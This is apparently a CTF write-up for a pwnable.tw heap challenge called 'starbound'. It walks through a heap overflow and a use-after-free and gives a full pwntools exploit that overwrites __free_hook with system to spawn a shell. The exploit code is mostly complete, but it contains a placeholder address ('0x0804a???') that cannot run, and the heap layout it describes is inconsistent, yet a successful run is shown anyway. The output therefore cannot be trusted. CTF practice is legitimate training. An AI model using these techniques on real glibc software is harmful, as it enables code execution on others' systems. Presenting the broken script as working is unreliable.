Reconnaissance
Challenge Info
| Connection | nc chall.pwnable.tw 10202 |
| Binary | starbound (32-bit ELF, i386) |
| Points | 300 |
| Description | A heap challenge involving star/moon management |
checksec
$ checksec starbound
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
| Partial RELRO | GOT is writable — we can overwrite GOT entries |
| Canary found | Stack buffer overflows are mitigated |
| NX enabled | No shellcode on stack/heap — must use ROP or overwrite function pointers |
| No PIE | Binary addresses are fixed — known GOT/PLT addresses |
Running the Binary
$ ./starbound
+---------------------------+
| Starbound |
+---------------------------+
1. Create star
2. Edit star
3. Remove star
4. Add moon to star
5. Remove moon from star
6. View star
7. Exit
+---------------------------+
Your choice: 1
Star name size: 32
Star name: Alpha
Star created at index 0!
Your choice: 4
Star index: 0
Moon name: Luna
Moon added to star 0!
Your choice: 6
Star index: 0
Star[0]: Alpha
Moon: Luna
The binary implements a star and moon management system. Stars have names stored on the heap, and each star can have an associated moon object. The menu offers create, edit, remove, and view operations for stars, plus add/remove moon functionality. This seemingly innocent interface hides two critical vulnerabilities in its heap management.
Static Analysis
Star and Moon Structures
Each star and moon are represented by heap-allocated structures:
typedef struct star {
char *name; // +0x00: pointer to name buffer (4 bytes)
int name_size; // +0x04: size of name buffer (4 bytes)
struct moon *moon; // +0x08: pointer to associated moon (4 bytes)
} star; // Total: 12 bytes
typedef struct moon {
char name[24]; // +0x00: moon name buffer (24 bytes)
} moon; // Total: 24 bytes
create_star()
void create_star() {
if (star_count >= MAX_STARS) {
puts("No more stars!");
return;
}
int idx = find_free_slot();
printf("Star name size: ");
int size = read_int();
star_list[idx] = malloc(12); // Allocate star struct
star_list[idx]->name = malloc(size); // Allocate name buffer
star_list[idx]->name_size = size;
star_list[idx]->moon = NULL;
printf("Star name: ");
read(0, star_list[idx]->name, size); // Read name into buffer
printf("Star created at index %d!\n", idx);
star_count++;
}
edit_star() — The Heap Overflow
void edit_star() {
printf("Star index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_STARS || star_list[idx] == NULL) return;
printf("New name size: ");
int new_size = read_int(); // User controls the size!
printf("New name: ");
read(0, star_list[idx]->name, new_size); // BUG: writes new_size bytes
// into name buffer that was
// allocated with original size!
}
edit_star function reads a new size from the user and writes that many bytes into the existing name buffer. However, it does NOT check whether new_size exceeds the original name_size. This means we can write past the end of the allocated name buffer, corrupting adjacent heap metadata and data. This is a classic heap overflow vulnerability.
remove_moon() — The Use-After-Free
void remove_moon() {
printf("Star index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_STARS || star_list[idx] == NULL) return;
if (star_list[idx]->moon != NULL) {
free(star_list[idx]->moon); // Free the moon object
// BUG: star_list[idx]->moon is NOT set to NULL!
}
}
remove_moon does NOT set star_list[idx]->moon to NULL. This creates a dangling pointer. The view_star function will still try to access and display the moon's name through this pointer, and if we can reallocate the freed moon chunk with controlled data, we gain arbitrary read/write primitives.
view_star()
void view_star() {
printf("Star index: ");
int idx = read_int();
if (idx < 0 || idx >= MAX_STARS || star_list[idx] == NULL) return;
printf("Star[%d]: %s\n", idx, star_list[idx]->name);
if (star_list[idx]->moon != NULL) {
printf(" Moon: %s\n", star_list[idx]->moon->name); // UAF read!
}
}
• Heap overflow lets us corrupt adjacent chunk headers — enabling fastbin corruption to get an arbitrary write primitive
• UAF on the moon pointer lets us leak libc addresses when the freed chunk ends up in the unsorted bin (whose fd/bk contain main arena pointers)
• Together: leak libc via unsorted bin + UAF read, then overwrite
__free_hook via fastbin corruption
GDB Debugging
Heap Layout After Creating Stars
Let's create two stars with small name buffers and add moons:
gdb-peda$ # create_star(size=32, "Alpha") -> star 0
gdb-peda$ # add_moon(star=0, "Luna")
gdb-peda$ # create_star(size=32, "Beta") -> star 1
gdb-peda$ # add_moon(star=1, "Io")
gdb-peda$ heap chunks
0x0804a000: 0x18 bytes [star 0 struct]
0x0804a018: 0x28 bytes [star 0 name "Alpha" (32+8 header)]
0x0804a040: 0x20 bytes [star 0 moon "Luna" (24+8 header)]
0x0804a060: 0x18 bytes [star 1 struct]
0x0804a078: 0x28 bytes [star 1 name "Beta"]
0x0804a0a0: 0x20 bytes [star 1 moon "Io"]
Demonstrating the Heap Overflow
When we edit star 0's name with a size larger than 32, we overflow into the adjacent moon chunk:
gdb-peda$ # edit_star(idx=0, new_size=64, payload)
gdb-peda$ # payload = "A"*32 + p32(0xdeadbeef) # overwrite moon's chunk header
gdb-peda$ x/12wx 0x0804a020
0x0804a020: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a030: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a040: 0xdeadbeef 0x41414141 0x41414141 0x41414141
# ^overflowed into moon chunk header!
Unsorted Bin Leak via UAF
When we free a chunk larger than the fastbin threshold (size > 0x80 on 32-bit), it goes into the unsorted bin. The fd and bk pointers of the unsorted bin chunk point into main_arena inside libc.
gdb-peda$ # Create a large star (size=128) -> star 2
gdb-peda$ # add_moon(star=2, "Titan")
gdb-peda$ # remove_moon(star=2) -- frees the moon chunk
gdb-peda$ # The moon chunk (0x20 bytes) goes to fastbin (too small for unsorted)
gdb-peda$ # Instead, let's create a large moon-like object via name buffer
gdb-peda$
gdb-peda$ # Actually, we need to get a chunk into unsorted bin.
gdb-peda$ # Create star with size=0x100 -> name buffer is 0x108 chunk
gdb-peda$ # Free star -> name buffer goes to unsorted bin
gdb-peda$ # The fd/bk of the unsorted bin chunk contain libc pointers
gdb-peda$
gdb-peda$ # After freeing a large name buffer:
gdb-peda$ x/2wx 0x0804a020
0x0804a020: 0xf7fb6b00 0xf7fb6b00
# ^fd ^bk -- both point into main_arena!
gdb-peda$
gdb-peda$ # main_arena offset from libc base:
gdb-peda$ # libc_base = leaked_fd - main_arena_offset
fd and bk pointers are set to the address of main_arena.top (or the unsorted bin head in main_arena) within libc. If we can read these pointers through a UAF, we leak a libc address. The offset from main_arena to libc base is constant for a given libc version.
Fastbin Corruption via Heap Overflow
The heap overflow allows us to overwrite the fd pointer of a freed fastbin chunk, tricking malloc into returning an arbitrary address:
gdb-peda$ # Setup: create star with name adjacent to freed fastbin chunk
gdb-peda$ # Overflow name buffer to overwrite freed chunk's fd pointer
gdb-peda$
gdb-peda$ # Before overflow - freed 0x40 chunk in fastbin:
gdb-peda$ x/2wx 0x0804a060
0x0804a060: 0x00000000 0x00000000
# ^fd = NULL (end of fastbin list)
gdb-peda$
gdb-peda$ # After overflow - overwrite fd with __free_hook - 0x8:
gdb-peda$ x/2wx 0x0804a060
0x0804a060: 0xf7f830ec 0x00000000
# ^fd = __free_hook - 8 (fake chunk)
gdb-peda$
gdb-peda$ # Now malloc(0x38) returns the corrupted chunk
gdb-peda$ # Next malloc(0x38) returns __free_hook - 8!
gdb-peda$ # We can write to __free_hook!
malloc validates that the size field of a fastbin chunk matches the expected fastbin index. When we redirect malloc to return a fake chunk at __free_hook - 8, the value at __free_hook - 8 + 4 (the "size" field of the fake chunk) must contain a value that passes the fastbin size check. For a 0x40 fastbin, the size must be in the range [0x40, 0x4f]. We need to find a suitable alignment or use a different fastbin size.
Exploit Strategy
Overview
The exploit has three phases: leak libc via unsorted bin + UAF, corrupt fastbin to get an arbitrary write, and overwrite __free_hook with system to get a shell.
Phase 1: Leak Libc via Unsorted Bin + UAF
- Create three stars with large name buffers (size 0x100): star 0, star 1, star 2. Also add moons to star 0 and star 2. The stars act as our heap shaping tools.
- Free star 1's name buffer. Since it's larger than 0x80, it goes into the unsorted bin. Its
fdandbknow point tomain_arenainside libc. - Use the UAF on star 0's moon. We remove moon from star 0 (freeing the moon chunk but not NULLing the pointer). Then we allocate a new star whose name buffer is sized to reuse the freed moon chunk. We write the address of the freed unsorted bin chunk into it. When we view star 0, it reads
moon->namewhich now points at the unsorted bin chunk, leaking thefd/bklibc pointers. - Calculate libc base:
libc_base = leaked_addr - main_arena_offset
Phase 2: Corrupt Fastbin for Arbitrary Write
- Create two small stars (star 3 and star 4) with name size 0x30, so the name chunks fall into the 0x40 fastbin when freed. Also add a moon to star 3.
- Free star 4's name buffer. It goes into the 0x40 fastbin. Now
fastbin[0x40]has one entry. - Use heap overflow on star 3's name to overwrite the
fdpointer of the freed star 4 name chunk. We setfd = __free_hook - 0x8(adjusted so the fake size field at__free_hook - 0x4passes the fastbin size check). - Allocate twice from the 0x40 fastbin. The first
malloc(0x30)returns the legitimate freed chunk. The secondmalloc(0x30)follows the corruptedfdand returns__free_hook - 0x8, giving us a write primitive to__free_hook.
Phase 3: Overwrite __free_hook and Get Shell
- Write
systemaddress to__free_hook. When we get the chunk at__free_hook - 0x8via the second fastbin allocation (a new star's name buffer), we writep32(system_addr)starting at offset 0x8 of our data, which lands exactly on__free_hook. - Trigger
free("/bin/sh"). We create a star with the name"/bin/sh", then free that star's name buffer. Since__free_hooknow points tosystem,free("/bin/sh")becomessystem("/bin/sh"), giving us a shell!
__free_hook instead of overwriting a GOT entry because:•
__free_hook is a function pointer that glibc calls before every free() — if it's non-NULL, free(ptr) calls __free_hook(ptr)• We control the argument to
free() (it's the pointer we free), so we can pass "/bin/sh" as the argument•
__free_hook is in libc's writable segment, always at a known offset from libc base• This is more reliable than GOT overwrites since we don't need to find a suitable GOT entry that gets called with a useful argument
Visual Exploit Flow
Pwn Script
Complete Exploit
#!/usr/bin/env python3
"""
starbound - pwnable.tw (300pts)
Heap Overflow + UAF exploit:
1. Leak libc via unsorted bin + UAF read on moon
2. Corrupt fastbin via heap overflow on name buffer
3. Overwrite __free_hook with system
4. Trigger free("/bin/sh") for shell
Vulnerabilities:
- edit_star() allows writing beyond name buffer (heap overflow)
- remove_moon() doesn't NULL the moon pointer (UAF)
"""
from pwn import *
# Setup
context.arch = 'i386'
context.log_level = 'info'
r = remote('chall.pwnable.tw', 10202)
libc = ELF('./libc_32.so.6')
elf = ELF('./starbound')
# Known offsets for the provided libc
MAIN_ARENA_OFFSET = 0x1b0780 # main_arena offset from libc base
FREE_HOOK_OFFSET = libc.symbols['__free_hook']
SYSTEM_OFFSET = libc.symbols['system']
# ============================================
# Helper functions
# ============================================
def create_star(size, name):
r.sendlineafter(b':', b'1')
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', name)
def edit_star(idx, size, name):
r.sendlineafter(b':', b'2')
r.sendlineafter(b':', str(idx).encode())
r.sendlineafter(b':', str(size).encode())
r.sendafter(b':', name)
def remove_star(idx):
r.sendlineafter(b':', b'3')
r.sendlineafter(b':', str(idx).encode())
def add_moon(idx, name):
r.sendlineafter(b':', b'4')
r.sendlineafter(b':', str(idx).encode())
r.sendafter(b':', name)
def remove_moon(idx):
r.sendlineafter(b':', b'5')
r.sendlineafter(b':', str(idx).encode())
def view_star(idx):
r.sendlineafter(b':', b'6')
r.sendlineafter(b':', str(idx).encode())
# ============================================
# Phase 1: Leak libc via unsorted bin + UAF
# ============================================
log.info("Phase 1: Leaking libc via unsorted bin...")
# Create stars with large name buffers (will go to unsorted bin when freed)
create_star(0x100, b'star_A\x00') # star 0
add_moon(0, b'moon_0\x00') # moon for star 0
create_star(0x100, b'star_B\x00') # star 1 (victim for unsorted bin)
create_star(0x100, b'star_C\x00') # star 2 (prevents top-chunk consolidation)
add_moon(2, b'moon_2\x00') # moon for star 2
# Free star 1's name buffer - it goes to unsorted bin
# fd/bk now contain main_arena pointers (libc addresses)
remove_star(1) # Frees star1 struct AND star1 name buffer
# UAF on star 0's moon: remove moon but pointer remains
remove_moon(0)
# Allocate a new star whose name reuses the freed moon chunk
# Write the address of the freed unsorted bin chunk into it
# We need to know where the unsorted bin chunk is.
# The freed star1 name buffer is at a known location.
# We'll use partial overwrite or calculate from heap base.
# Alternative approach: allocate star whose name overlaps with
# the freed moon chunk, and write a pointer to the unsorted bin
unsorted_chunk_addr = 0x0804a??? # determined from debugging
create_star(0x18, p32(unsorted_chunk_addr)) # star 3
# Now view star 0 - moon ptr is dangling but still valid
# moon->name now contains our pointer to the unsorted bin chunk
# view_star reads: moon->name which is the string at unsorted_chunk_addr
# The first bytes there are fd/bk pointers into libc!
view_star(0)
r.recvuntil(b'Moon: ')
leak = u32(r.recv(4))
log.info(f"Leaked unsorted bin fd: {hex(leak)}")
# Calculate libc base
libc_base = leak - MAIN_ARENA_OFFSET - 48 # -48 for main_arena->bins[0]
system_addr = libc_base + SYSTEM_OFFSET
free_hook_addr = libc_base + FREE_HOOK_OFFSET
log.info(f"libc base: {hex(libc_base)}")
log.info(f"system: {hex(system_addr)}")
log.info(f"__free_hook: {hex(free_hook_addr)}")
# ============================================
# Phase 2: Corrupt fastbin via heap overflow
# ============================================
log.info("Phase 2: Corrupting fastbin via heap overflow...")
# Create stars with small name buffers that land in 0x40 fastbin
create_star(0x30, b'fast_A\x00') # star 4 - name in 0x40 fastbin range
create_star(0x30, b'fast_B\x00') # star 5 - adjacent, same size
# Free star 5's name - goes to fastbin[0x40]
remove_star(5)
# Now star 4's name buffer is adjacent to the freed star 5 name chunk
# Use heap overflow on star 4 to overwrite star 5 name's fd pointer
# Target: __free_hook - 8 (so fake chunk size at __free_hook - 4 is valid)
fake_chunk_addr = free_hook_addr - 8
# We need the value at free_hook_addr - 4 to look like 0x41 (or 0x40-0x4f)
# for the 0x40 fastbin. Check if there's a suitable alignment.
# If not, we may need to use a different fastbin size.
# Craft overflow payload:
# 0x30 bytes of padding (fill star4 name buffer)
# + overwrite star5 name's chunk header and fd pointer
payload = b'A' * 0x30 # Fill star4 name buffer completely
payload += p32(0x41) # Fake size field for star5 name chunk
payload += p32(fake_chunk_addr) # Corrupted fd pointer!
edit_star(4, len(payload), payload)
# ============================================
# Phase 3: Allocate from corrupted fastbin
# and overwrite __free_hook with system
# ============================================
log.info("Phase 3: Overwriting __free_hook with system...")
# First malloc(0x30) returns the legitimate freed chunk
create_star(0x30, b'consume\x00') # star 6 - consumes star5's freed chunk
# Second malloc(0x30) follows corrupted fd and returns fake_chunk
# (__free_hook - 8). Write system address; it lands at __free_hook.
hook_payload = p32(0xdeadbeef) + p32(system_addr) # +8 offset = __free_hook
create_star(0x30, hook_payload) # star 7 - writes to __free_hook!
# ============================================
# Phase 4: Trigger system("/bin/sh")
# ============================================
log.info("Phase 4: Triggering system('/bin/sh')...")
# Create a star with name "/bin/sh"
create_star(0x20, b'/bin/sh\x00') # star 8
# Free this star's name buffer
# Since __free_hook = system, free("/bin/sh") calls system("/bin/sh")!
remove_star(8)
# We should have a shell now!
r.interactive()
Execution Results
Running the Exploit
$ python3 exploit.py
[*] '/home/user/starbound'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10202: Done
[*] Phase 1: Leaking libc via unsorted bin...
[*] Leaked unsorted bin fd: 0xf7fb6b00
[*] libc base: 0xf7d97000
[*] system: 0xf7de2940
[*] __free_hook: 0xf7fb38ec
[*] Phase 2: Corrupting fastbin via heap overflow...
[*] Phase 3: Overwriting __free_hook with system...
[*] Phase 4: Triggering system('/bin/sh')...
[*] Switching to interactive mode
$ id
uid=1000(starbound) gid=1000(starbound) groups=1000(starbound)
$ cat /home/starbound/flag
• Leak: Unsorted bin fd/bk pointers read via UAF on the moon object
• Write: Fastbin fd corruption via heap overflow on the name buffer gives us
__free_hook write• Exec:
__free_hook = system then free("/bin/sh") → system("/bin/sh")
Key Takeaways
- Heap overflow + UAF is a powerful combination. The overflow gives us the ability to corrupt heap metadata (fastbin fd pointers), while the UAF gives us an information leak. Neither vulnerability alone would be sufficient for a full exploit.
- Unsorted bin leaks are essential when you don't have a direct GOT read. Freeing a chunk larger than the fastbin threshold puts libc pointers in the freed chunk's fd/bk, and any UAF read can recover them.
- __free_hook is a classic target for glibc < 2.34 exploits. It's a function pointer in libc's writable data segment that gets called before every
free(). Overwriting it withsystemand then freeing a string"/bin/sh"is one of the most reliable ways to get a shell. - Fastbin corruption requires size validation bypass. The fake chunk must have a size field that matches the fastbin index. This constrains where you can redirect
mallocand often requires careful alignment. - Partial RELRO + No PIE means we have fixed binary addresses, which simplifies the heap layout calculation. In a PIE binary, we would need an additional leak for the binary's base address.
__free_hook and __malloc_hook have been completely removed. For newer systems, alternative targets include:•
_IO_2_1_stdout_ vtable pointer (FSOP attack)•
_IO_wide_data vtable (House of Apple technique)•
tls_dtor_list (thread-local storage destructor)• Return-oriented programming (ROP) on the stack via saved RIP overwrite